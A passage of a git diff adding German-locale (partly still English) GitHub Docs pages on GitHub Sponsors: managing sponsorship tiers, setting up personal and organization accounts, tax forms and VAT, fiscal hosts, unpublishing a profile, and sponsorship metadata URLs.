+{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.navigate-to-your-goals-tab %} {% data reusables.sponsors.edit-goal %} {% data reusables.sponsors.retire-goal %}
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md
new file mode 100644
index 0000000000..b41ad203ec
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md
@@ -0,0 +1,97 @@
+---
+title: Managing your sponsorship tiers
+intro: 'You can add a new sponsorship tier, or edit or retire an existing tier.'
+redirect_from:
+  - /articles/changing-your-sponsorship-tiers
+  - /github/supporting-the-open-source-community-with-github-sponsors/changing-your-sponsorship-tiers
+  - /github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Open Source
+  - Sponsors profile
+shortTitle: Manage payment tiers
+---
+
+## About sponsorship tiers
+
+{% data reusables.sponsors.tier-details %}
+
+{% data reusables.sponsors.maximum-tier %}
+
+## Adding a tier
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %}
+1. If you are setting up tiers for the first time, we recommend you review the suggested tier examples to see how some other open source contributors have set up {% data variables.product.prodname_sponsors %}. Decide whether you want to start with some suggested draft tiers, which you can customize in the tier editor.
+   - To use a suggested tier, select the rewards you'd like to include in your draft tier or tiers. Then, click **Continue to tier editor**.
+   - To create tiers without using with any of the draft suggestions, click **Skip this step**.
+     
+     ![Screenshot of "Skip this step" option and "Continue to tier editor" button](/assets/images/help/sponsors/tier-editor-button.png)
+
+1. Optionally, in the text boxes under "Custom amounts", type a recommended or minimum sponsorship amount. The minimum amount applies to both recurring and one-time sponsorships.
+
+   ![Screenshot of custom amounts fields](/assets/images/help/sponsors/custom-amounts.png)
+
+1. Optionally, to edit a draft tier, find the draft tier and click **Edit**.
+
+   ![Screenshot of edit button next to draft tier](/assets/images/help/sponsors/draft-tier-edit.png)
+
+{% data reusables.sponsors.click-add-tier %}
+{% data reusables.sponsors.tier-price-description %}
+{% data reusables.sponsors.add-welcome-message %}
+{% data reusables.sponsors.save-tier-draft %}
+{% data reusables.sponsors.review-and-publish-tier %}
+
+## Editing or retiring a tier
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %}
+{% data reusables.sponsors.edit-tier %}
+  {% note %}
+
+  **Note:** To see ideas of tier descriptions, scroll down.
+
+  {% endnote %}
+{% data reusables.sponsors.tier-price-description %}
+{% data reusables.sponsors.tier-update %}
+{% data reusables.sponsors.retire-tier %}
+
+## Adding a repository to a sponsorship tier
+
+{% data reusables.sponsors.sponsors-only-repos %}
+
+### About adding repositories to a sponsorship tier
+
+To add a repository to a tier, the repository must be private and owned by an organization, and you must have admin access to the repository.
+
+When you add a repository to a tier, {% data variables.product.company_short %} will automatically send repository invitations to new sponsors and remove access when a sponsorship is cancelled. 
+
+Only personal accounts, not organizations, can be invited to private repositories associated with a sponsorship tier.
+
+You can also manually add or remove collaborators to the repository, and {% data variables.product.company_short %} will not override these in the sync. 
+
+### About transfers for repositories that are added to sponsorship tiers
+
+If you transfer a repository that has been added to a sponsorship tier, sponsors who have access to the repository through the tier may be affected.
+
+- If the sponsored profile is for an organization and the repository is transferred to a different organization, current sponsors will be transferred, but new sponsors will not be added. The new owner of the repository can remove existing sponsors.
+- If the sponsored profile is for a personal account, the repository is transferred to an organization, and the personal account has admin access to the new repository, existing sponsors will be transferred, and new sponsors will continue to be added to the repository.
+- If the repository is transferred to a personal account, all sponsors will be removed and new sponsors will not be added to the repository.
+
+### Adding a repository a sponsorship tier
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %}
+{% data reusables.sponsors.edit-tier %}
+1. Select **Grant sponsors access to a private repository**.
+
+   ![Screenshot of checkbox to grant sponsors access to a private repository](/assets/images/help/sponsors/grant-sponsors-access-to-repo-checkbox.png)
+
+1. Select the dropdown menu and click the repository you want to add.
+
+   ![Screenshot of dropdown menu to choose the repository to grant sponsors access to](/assets/images/help/sponsors/grant-sponsors-access-to-repo-dropdown.png)
+
+{% data reusables.sponsors.tier-update %}
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md
new file mode 100644
index 0000000000..b96b7c361a
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md
@@ -0,0 +1,98 @@
+---
+title: Setting up GitHub Sponsors for your organization
+intro: 'Your organization can join {% data variables.product.prodname_sponsors %} to receive payments for your work.'
+redirect_from:
+  - /articles/setting-up-github-sponsorship-for-your-organization
+  - /articles/receiving-sponsorships-as-a-sponsored-organization
+  - /github/supporting-the-open-source-community-with-github-sponsors/setting-up-github-sponsors-for-your-organization
+permissions: 'Organization owners can set up {% data variables.product.prodname_sponsors %} for an organization.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Organizations
+  - Sponsors profile
+  - Open Source
+shortTitle: Set up for organization
+---
+
+## Joining {% data variables.product.prodname_sponsors %}
+
+{% data reusables.sponsors.you-can-be-a-sponsored-organization %} {% data reusables.sponsors.stripe-supported-regions %}
+
+After you receive an invitation for your organization to join {% data variables.product.prodname_sponsors %}, you can complete the steps below to become a sponsored organization.
+
+To join {% data variables.product.prodname_sponsors %} as an individual contributor outside an organization, see "[Setting up {% data variables.product.prodname_sponsors %} for your personal account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account)."
+
+{% data reusables.sponsors.navigate-to-github-sponsors %}
+{% data reusables.sponsors.view-eligible-accounts %}
+3. To the right of your organization, click **Join the waitlist**.
+{% data reusables.sponsors.contact-info %}
+{% data reusables.sponsors.payout-choice %}
+  ![Screenshot of option to choose between a bank account and a fiscal host](/assets/images/help/sponsors/org-waitlist-payout-options.png)
+
+{% data reusables.sponsors.accept-legal-terms %}
+
+## Completing your sponsored organization profile
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+{% data reusables.sponsors.navigate-to-profile-tab %}
+{% data reusables.sponsors.short-bio %}
+{% data reusables.sponsors.add-introduction %}
+{% data reusables.sponsors.meet-the-team %}
+{% data reusables.sponsors.edit-featured-work %}
+{% data reusables.sponsors.opt-in-to-being-featured %}
+{% data reusables.sponsors.save-profile %}
+
+## Creating sponsorship tiers
+
+{% data reusables.sponsors.tier-details %}
+
+{% data reusables.sponsors.maximum-tier %}
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %}
+{% data reusables.sponsors.click-add-tier %}
+{% data reusables.sponsors.tier-price-description %}
+{% data reusables.sponsors.add-welcome-message %}
+{% data reusables.sponsors.save-tier-draft %}
+{% data reusables.sponsors.review-and-publish-tier %}
+{% data reusables.sponsors.add-more-tiers %}
+
+## Submitting your bank information
+
+As a sponsored organization, you will receive payouts to a bank account in a supported region or via a fiscal host.
+
+{% data reusables.sponsors.bank-info-fiscal-host-reminder %} For more information about setting up and using fiscal hosts, see "[Using a fiscal host to receive GitHub Sponsors payouts](/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts)."
+
+If you choose to receive payouts to a bank account, your bank account can be a dedicated bank account for your organization or a personal bank account. You can get a business bank account through services like [Stripe Atlas](https://stripe.com/atlas). The person setting up {% data variables.product.prodname_sponsors %} for the organization must live in the same supported region, too. {% data reusables.sponsors.stripe-supported-regions %}
+
+{% data reusables.sponsors.double-check-stripe-info %}
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+{% data reusables.sponsors.create-stripe-account %}
+
+## Submitting your tax information
+
+{% data reusables.sponsors.tax-form-information-org %}
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+{% data reusables.sponsors.overview-tab %}
+{% data reusables.sponsors.tax-form-link %}
+
+## Enabling two-factor authentication (2FA) on your {% data variables.product.prodname_dotcom %} account
+
+Before your organization can become a sponsored organization, you must enable 2FA for your account on {% data variables.location.product_location %}. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
+
+## Submitting your application to {% data variables.product.prodname_dotcom %} for approval
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+{% data reusables.sponsors.request-approval %}
+
+{% data reusables.sponsors.github-review-app %}
+
+## Further reading
+
+- "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)"
+- "[Receiving sponsorships through {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)"
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md
new file mode 100644
index 0000000000..77f5cb9377
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md
@@ -0,0 +1,95 @@
+---
+title: Setting up GitHub Sponsors for your personal account
+intro: 'You can become a sponsored developer by joining {% data variables.product.prodname_sponsors %}, completing your sponsored developer profile, creating sponsorship tiers, submitting your bank and tax information, and enabling two-factor authentication for your account on {% data variables.location.product_location %}.'
+redirect_from:
+  - /articles/becoming-a-sponsored-developer
+  - /github/supporting-the-open-source-community-with-github-sponsors/becoming-a-sponsored-developer
+  - /github/supporting-the-open-source-community-with-github-sponsors/setting-up-github-sponsors-for-your-user-account
+  - /sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - User account
+  - Sponsors profile
+shortTitle: Set up for personal account
+---
+
+## Joining {% data variables.product.prodname_sponsors %}
+
+{% data reusables.sponsors.you-can-be-a-sponsored-developer %} {% data reusables.sponsors.stripe-supported-regions %}
+
+To join {% data variables.product.prodname_sponsors %} as an organization, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)."
+
+{% data reusables.sponsors.navigate-to-github-sponsors %}
+2. If you are an organization owner, you have more than one eligible account. Click **Get sponsored**, then in the list of accounts, find your personal account.
+  ![Screenshot of the Get sponsored button](/assets/images/help/sponsors/get-sponsored.png)
+3. Click **Join the waitlist**.
+{% data reusables.sponsors.contact-info %}
+{% data reusables.sponsors.payout-choice %}
+  ![Screenshot of option to choose between a bank account and a fiscal host](/assets/images/help/sponsors/user-waitlist-payout-options.png)
+
+{% data reusables.sponsors.accept-legal-terms %}
+
+If you have a bank account in a supported region, {% data variables.product.prodname_dotcom %} will review your application within two weeks.
+
+## Completing your sponsored developer profile
+
+After {% data variables.product.prodname_dotcom %} reviews your application, you can set up your sponsored developer profile so that people can start sponsoring you.
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+{% data reusables.sponsors.navigate-to-profile-tab %}
+{% data reusables.sponsors.short-bio %}
+{% data reusables.sponsors.add-introduction %}
+{% data reusables.sponsors.edit-featured-work %}
+{% data reusables.sponsors.opt-in-to-being-featured %}
+{% data reusables.sponsors.save-profile %}
+
+## Creating sponsorship tiers
+
+{% data reusables.sponsors.tier-details %}
+
+{% data reusables.sponsors.maximum-tier %}
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+{% data reusables.sponsors.navigate-to-sponsor-tiers-tab %}
+{% data reusables.sponsors.click-add-tier %}
+{% data reusables.sponsors.tier-price-description %}
+{% data reusables.sponsors.add-welcome-message %}
+{% data reusables.sponsors.save-tier-draft %}
+{% data reusables.sponsors.review-and-publish-tier %}
+{% data reusables.sponsors.add-more-tiers %}
+
+## Submitting your bank information
+
+As a sponsored user, you will receive payouts to a bank account in a supported region or via a fiscal host.
+
+{% data reusables.sponsors.bank-info-fiscal-host-reminder %} For more information about setting up and using fiscal hosts, see "[Using a fiscal host to receive GitHub Sponsors payouts](/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts)."
+
+If you choose to receive payouts to a bank account, your region of residence and the region of your bank account must match. {% data reusables.sponsors.stripe-supported-regions %}
+
+{% data reusables.sponsors.double-check-stripe-info %}
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+{% data reusables.sponsors.create-stripe-account %}
+
+## Submitting your tax information
+
+{% data reusables.sponsors.tax-form-information-dev %}
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+{% data reusables.sponsors.overview-tab %}
+{% data reusables.sponsors.tax-form-link %}
+
+## Enabling two-factor authentication (2FA) on your {% data variables.product.prodname_dotcom %} account
+
+Before you can become a sponsored developer, you must enable 2FA for your account on {% data variables.location.product_location %}. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
+
+## Submitting your application to {% data variables.product.prodname_dotcom %} for approval
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %}
+4. Click **Request approval**.
+  ![Request approval button](/assets/images/help/sponsors/request-approval-button.png)
+
+{% data reusables.sponsors.github-review-app %}
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/tax-information-for-github-sponsors.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/tax-information-for-github-sponsors.md
new file mode 100644
index 0000000000..823fe34271
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/tax-information-for-github-sponsors.md
@@ -0,0 +1,81 @@
+---
+title: Steuerinformationen für GitHub Sponsoren
+intro: 'Unterstützte Entwickler und Organisationen müssen Steuerinformationen an {% data variables.product.prodname_dotcom %} einreichen und sind verantwortlich für die Berechnung und Bezahlung ihrer eigenen Steuern.'
+redirect_from:
+  - /articles/tax-information-for-sponsored-developers
+  - /github/supporting-the-open-source-community-with-github-sponsors/tax-information-for-sponsored-developers
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Open Source
+  - Sponsors payments
+shortTitle: Tax information
+ms.openlocfilehash: 25c549ef143ae785bc8c1e164a5d9ea86ab0b4bd
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145149206'
+---
+## W-9/W-8 Steuerformulare
+
+Laut Gesetz ist {% data variables.product.prodname_dotcom %} vom U.S. Internal Revenue Service (IRS) verpflichtet, Steuerinformationen von allen US-amerikanischen und nicht-amerikanischen Unterhaltspflichtigen zu sammeln. Diese Formulare sind bei {% data variables.product.prodname_dotcom %} gespeichert und müssen nicht an das IRS übermittelt werden. 
+
+### W-9 (USA)
+
+Die Informationen aus den W-9 Steuerformularen helfen {% data variables.product.prodname_dotcom %} dabei, die richtige Steuerzahler-Identifikationsnummer (TIN) zu verwenden, um die an dich gezahlten Einkünfte in einem 1099-Formular an die IRS zu melden.
+
+Wenn Du ein Steuerzahler in den Vereinigten Staaten bist, musst Du ein [W-9](https://www.irs.gov/forms-pubs/about-form-w-9) einreichen, bevor Du Dein {% data variables.product.prodname_sponsors %} Profil veröffentlichen kannst. 
+
+### W-8 BEN/W-8 BEN-E (nicht USA)
+
+Die Steuerformulare W-8 BEN und W-8 BEN-E helfen {% data variables.product.prodname_dotcom %} dabei, den wirtschaftlichen Besitzer eines einbehaltenen Betrags zu ermitteln.
+
+Wenn Du ein Steuerzahler in einer anderen Region als den Vereinigten Staaten bist, musst Du ein [W-8 BEN](https://www.irs.gov/pub/irs-pdf/fw8ben.pdf) (Einzelperson) oder [W-8 BEN-E](https://www.irs.gov/forms-pubs/about-form-w-8-ben-e) (Unternehmen) Formular einreichen, bevor Du Dein {% data variables.product.prodname_sponsors %} Profil veröffentlichen kannst. Weitere Informationen findest Du unter „[Einrichten von {% data variables.product.prodname_sponsors %} für Dein persönliches Konto](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account#submitting-your-tax-information)“ und „[Einrichten von {% data variables.product.prodname_sponsors %} für Deine Organisation](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization#submitting-your-tax-information).“ {% data variables.product.prodname_dotcom %} wird Dir die notwendigen Formulare zusenden, Dich über deren Fälligkeit informieren und Dir genügend Zeit einräumen, die Formulare zu vervollständigen und einzureichen.
+
+Wenn Dir ein falsches Steuerformular zugewiesen wurde, [kontaktiere {% data variables.product.prodname_dotcom %} Support,](https://support.github.com/contact?form%5Bsubject%5D=GitHub%20Sponsors:%20tax%20form&tags=sponsors) um das richtige Formular für Deine Situation zugewiesen zu bekommen.
+
+### Steueridentifikationsnummern
+
+Die W-8 BEN- und W-8 BEN-E-Steuerformulare bitten um eine "US-Steuernummer (SSN oder ITIN)" oder "Identifikationsnummer für ausländische Steuern". 
+
+Wenn Du kein US-Bürger oder eine andere US-Person bist, einschließlich einer ausländischen Person mit Wohnsitz in den USA, musst Du normalerweise eine ausländische Steueridentifikationsnummer angeben. Dies ist eine Steueridentifikationsnummer, die Dein Wohnsitzland Dir ausgestellt hat.
+
+Wenn Dein Wohnsitz- oder Abrechnungsland Indien ist, kannst Du Deine Permanent Account Number (PAN) als Steueridentifikationsnummer verwenden.
+
+{% note %}
+
+**Hinweis:** Wenn Dein Land nicht verlangt, dass Bürger über eine Steuernummer verfügen, die von der Regierung ausgestellt wird, kannst Du stattdessen "nicht gesetzlich erforderlich" schreiben.  
+
+Anleitungen aus der IRS geben an, dass Du "nicht anwendbar" schreiben kannst. Weitere Informationen findest Du unter „[Anleitung für Formular W-8BEN, Line 6](https://www.irs.gov/instructions/iw8ben#idm139867098922656)“ auf der IRS-Website.
+{% endnote %}
+
+Die IRS ermöglicht es nicht ansässigen und ansässigen Ausländern, eine [Einzelne Steueridentifikationsnummer](https://www.irs.gov/individuals/international-taxpayers/taxpayer-identification-numbers-tin#itin) oder ITIN anzufordern. Es ist unwahrscheinlich, dass dies für Maintainer, die ihr Einkommen über {% data variables.product.prodname_sponsors %} beziehen, notwendig ist, aber lies die vollständigen [Anweisungen](https://www.irs.gov/pub/irs-pdf/iw8ben.pdf), um Deine individuellen Umstände zu bestimmen.
+
+## 1099 Formulare
+
+Wenn Du ein Steuerzahler in den USA bist und in einem Steuerjahr mehr als 600 US-Dollar verdienst, schickt Dir {% data variables.product.prodname_dotcom %} vor dem 31. Januar des nächsten Kalenderjahres eine [1099-NEC](https://www.irs.gov/forms-pubs/about-form-1099-nec). Steuerzahlern anderer Länder stellen wir keine Steuerformulare bereit.
+
+## Allgemeine Steuerinformationen
+
+{% data variables.product.prodname_dotcom %} behält aus {% data variables.product.prodname_sponsors %}-Zahlungen keine Steuern ein. Unterstützte Entwickler sind für die Steuerermittlung und Zahlung ihrer Steuern selbst verantwortlich.
+
+{% data reusables.sponsors.sponsorships-not-tax-deductible %}
+
+## Mehrwertsteuer
+
+GitHub stellt Informationen zur Verfügung, die Dir bei der Berechnung Deiner Umsatzsteuerpflichten helfen. Diese Informationen sind nicht auf Dein Land oder Deine Steuersituation zugeschnitten. Daher wird empfohlen, dass Du mit einem Fachmann sprichst, um Deine spezifischen Verpflichtungen zu verstehen. Einige allgemeine Informationen sollen Dir jedoch helfen, die allgemeinen Grundsätze der digitalen Umsatzsteuer zu verstehen.
+
+In den meisten Ländern der Welt richtet sich die Umsatzsteuer für digitale Transaktionen nach dem Standort des Empfängers, nicht nach dem des Verkäufers. Wenn Du beispielsweise ein Maintainer in den Vereinigten Staaten bist und eine steuerpflichtige Leistung an einen Sponsor in Deutschland erbringst, würde die deutsche Umsatzsteuer anfallen.
+
+Die Umsatzsteuer fällt in der Regel nur an, wenn eine Ware oder eine Dienstleistung von Wert erbracht wird. Goodwill/allgemeine Unterstützung/Wertschätzung ist normalerweise nicht steuerpflichtig.
+
+In den USA sind sowohl B2B (Business-to-Business) als auch B2C (Business-to-Consumer) umsatzsteuerpflichtig.
+
+In der EU und den meisten anderen Ländern und Regionen sind B2C-Verkäufe umsatzsteuerpflichtig. B2B-Verkäufe unterliegen nicht der Steuer. C2C- und C2B-Verkäufe, bei denen ein Verbraucher nicht für die Umsatzsteuer registriert ist, sind nicht steuerpflichtig.
+
+## Weiterführende Themen
+
+- [Sponsoren und Sponsoring anzeigen](/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships)
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/unpublishing-your-github-sponsors-profile.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/unpublishing-your-github-sponsors-profile.md
new file mode 100644
index 0000000000..95371b1220
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/unpublishing-your-github-sponsors-profile.md
@@ -0,0 +1,29 @@
+---
+title: Aufheben der Veröffentlichung deines GitHub Sponsors-Profils
+intro: 'Wenn du keine Sponsoren hast, kannst du die Veröffentlichung deines {% data variables.product.prodname_sponsors %}-Profils auf GitHub aufheben.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Open Source
+  - Sponsors payments
+shortTitle: Unpublish your profile
+ms.openlocfilehash: 710b42b9a9474da0d62ad8e3c9022cd2b9cc422e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145134205'
+---
+Wenn du Projektsponsoren hast, musst du den GitHub-Support kontaktieren, um die Veröffentlichung deines {% data variables.product.prodname_sponsors %}-Kontos aufzuheben.
+
+Folgendes gilt, wenn dein {% data variables.product.prodname_sponsors %}-Konto nicht mehr öffentlich ist:
+- Du erhältst keine finanzielle Unterstützung mehr.
+- Du kannst eine erneute Veröffentlichung deines Profils beantragen.
+
+{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.settings-tab %}
+3. Klicke unter „Veröffentlichung deines GitHub Sponsors-Profils aufheben“ auf **Veröffentlichung des Profils aufheben**.
+  ![Schaltfläche „Veröffentlichung aufheben“](/assets/images/help/sponsors/unpublish-profile-button.png)
+4. Klicke zur Bestätigung auf „Veröffentlichung des GitHub Sponsors-Kontos aufheben“.
+  ![Schaltfläche „Veröffentlichung des GitHub Sponsors-Kontos aufheben“](/assets/images/help/sponsors/unpublish-profile-dialog.png)
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts.md
new file mode 100644
index 0000000000..9b4d2e0482
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts.md
@@ -0,0 +1,43 @@
+---
+title: Nutzen einer treuhänderischen Organisation zum Erhalt von GitHub-Sponsorengeldern
+intro: 'Du kannst ein gesponserter Entwickler werden, indem du {% data variables.product.prodname_sponsors %} beitrittst und eine treuhänderische Organisation auswählst, über die du deine Auszahlungen erhältst.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - User account
+  - Sponsors profile
+shortTitle: Using a fiscal host
+ms.openlocfilehash: 8e26f07d8decf6819824bbcb7885d6e09ace5bdb
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108295'
+---
+## Informationen zur Verwendung einer treuhänderischen Organisation für den Erhalt von {% data variables.product.prodname_sponsors %}-Auszahlungen
+
+Bei der Registrierung für ein {% data variables.product.prodname_sponsors %}-Profil zum Erhalt von Sponsorengeldern kannst du auswählen, ob du deine Zahlungen über ein von dir kontrolliertes Stripe Connect-Konto oder über eine treuhänderische Organisation erhalten möchtest, mit der du bereits zusammenarbeitest.
+
+{% data reusables.sponsors.bank-info-fiscal-host-reminder %}
+
+{% data variables.product.prodname_sponsors %} unterstützt die folgenden treuhänderischen Organisationen:
+
+- [Open Source Collective](https://oscollective.org/)
+- [NumFOCUS](http://www.numfocus.org/)
+- [Open Collective Europe](https://opencollective.com/europe)
+- [Software Underground](https://softwareunderground.org/)
+- [Software Freedom Conservancy](https://sfconservancy.org/)
+
+## Auswählen der zu verwendenden treuhänderischen Organisation
+
+Sobald du auf die Profileinrichtungsseite zur Aufnahme in die Warteliste für das Konto wechselt, für das du Sponsorengelder erhalten möchtest, wird der Abschnitt „Erhalt von Auszahlungen“ oder „Bankkonto der Organisation“ angezeigt – je nachdem, welche Art von Konto du einrichtest. Weitere Informationen zur Registrierung eines {% data variables.product.prodname_sponsors %}-Profils findest du unter [Einrichten von {% data variables.product.prodname_sponsors %} für dein persönliches Konto](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account) oder [Einrichten von {% data variables.product.prodname_sponsors %} für deine Organisation](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization).
+
+1. Wähle unter „Erhalt von Auszahlungen“ oder „Bankkonto der Organisation“ die Option **Treuhänderische Organisation verwenden** oder **Diese Organisation verwendet eine treuhänderische Organisation**.
+
+   ![Screenshot der Option zur Auswahl zwischen einem Bankkonto und einer treuhänderischen Organisation](/assets/images/help/sponsors/user-waitlist-payout-options.png)
+2. Verwende das Dropdownmenü **Treuhänderische Organisation auswählen**, um die gewünschte treuhänderische Organisation auszuwählen.
+3. Gib in das Textfeld unter „Projektprofil-URL der treuhänderischen Organisation“ die URL zu deiner Profilseite auf der Website der treuhänderischen Organisation ein. So können wir überprüfen, ob du tatsächlich bei der genannten treuhänderischen Organisation registriert bist.
+  
+  ![Screenshot des Textfelds für die Projektprofil-URL der von dir gewählten treuhänderischen Organisation](/assets/images/help/sponsors/fiscal-host-project-profile-field.png)
diff --git a/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md
new file mode 100644
index 0000000000..b673936007
--- /dev/null
+++ b/translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md
@@ -0,0 +1,68 @@
+---
+title: Sponsoren und Sponsoring anzeigen
+intro: Du kannst detaillierte Informationen und Analysen zu deinen Sponsoren und Förderungen einsehen und exportieren.
+redirect_from:
+  - /articles/viewing-your-sponsors-and-sponsorships
+  - /github/supporting-the-open-source-community-with-github-sponsors/viewing-your-sponsors-and-sponsorships
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Open Source
+  - Analytics
+shortTitle: View sponsors & sponsorships
+ms.openlocfilehash: 33c45171d28b77c302a04f734342b05beb04be1e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145134202'
+---
+## Informationen zu Sponsor*innen und Sponsoring
+
+Du kannst Analysen zu deinen aktuellen und vergangenen Sponsorings einsehen, die Zahlungen, die du von Sponsoren erhalten hast, und Ereignisse, wie beispielsweise Kündigungen oder Sponsoren-Stufenänderungen für deine Sponsorings. Du kannst auch Aktivitäten wie neue Sponsorings oder geänderte und gekündigte Sponsorings ansehen. Du kannst die Liste der Aktivitäten nach Datum filtern. Du kannst die Sponsoring-Daten deines Kontos auch im CSV- oder JSON-Format exportieren.
+
+## Informationen zu Transaktionsmetadaten
+
+Du kannst benutzerdefinierte URLs mit Metadaten für dein {% data variables.product.prodname_sponsors %}-Profil oder deine Bezahlseite verwenden, um nachzuvollziehen, woher deine Sponsor*innen stammen. Die Metadaten sind im Transaktionsexport in der Metadatenspalte enthalten. Weitere Informationen zum Exportieren von Transaktionsdaten findest du unter [Exportieren von Sponsoringdaten](#exporting-your-sponsorship-data).
+
+Metadaten müssen dem `key=value`-Format entsprechen und können am Ende dieser URLs hinzugefügt werden.
+
+- Gesponsertes Kontoprofil: `https://github.com/sponsors/{account}`
+- Sponsoringbezahlung: `https://github.com/sponsors/{account}/sponsorships`
+
+Die Metadaten bleiben in der URL erhalten, wenn potenzielle Sponsor*innen das Konto wechseln, über das das Sponsoring erfolgt, und monatliche oder einmalige Zahlungen sowie eine andere Ebene auswählen.
+
+### Syntaxanforderungen
+
+Deine Metadaten müssen die folgenden Anforderungen erfüllen, die nicht für andere übergebene URL-Parameter gelten.
+
+- Den Schlüsseln muss das Präfix `metadata_` vorangestellt werden, z. B. `metadata_campaign`. Im Transaktionsexport wird der `metadata_`-Präfix aus dem Schlüssel entfernt.
+- Schlüssel und Werte dürfen nur alphanumerische Werte, Striche oder Unterstriche enthalten. Wenn nicht erlaubte Zeichen in Schlüsseln oder Werten übergeben werden, wird ein 404-Fehler angezeigt.
+- Leerzeichen sind nicht zulässig.
+- Pro Anforderung sind maximal **10** Schlüssel-Wert-Paare erlaubt. Wenn mehr übergeben werden, werden nur die ersten 10 gespeichert.
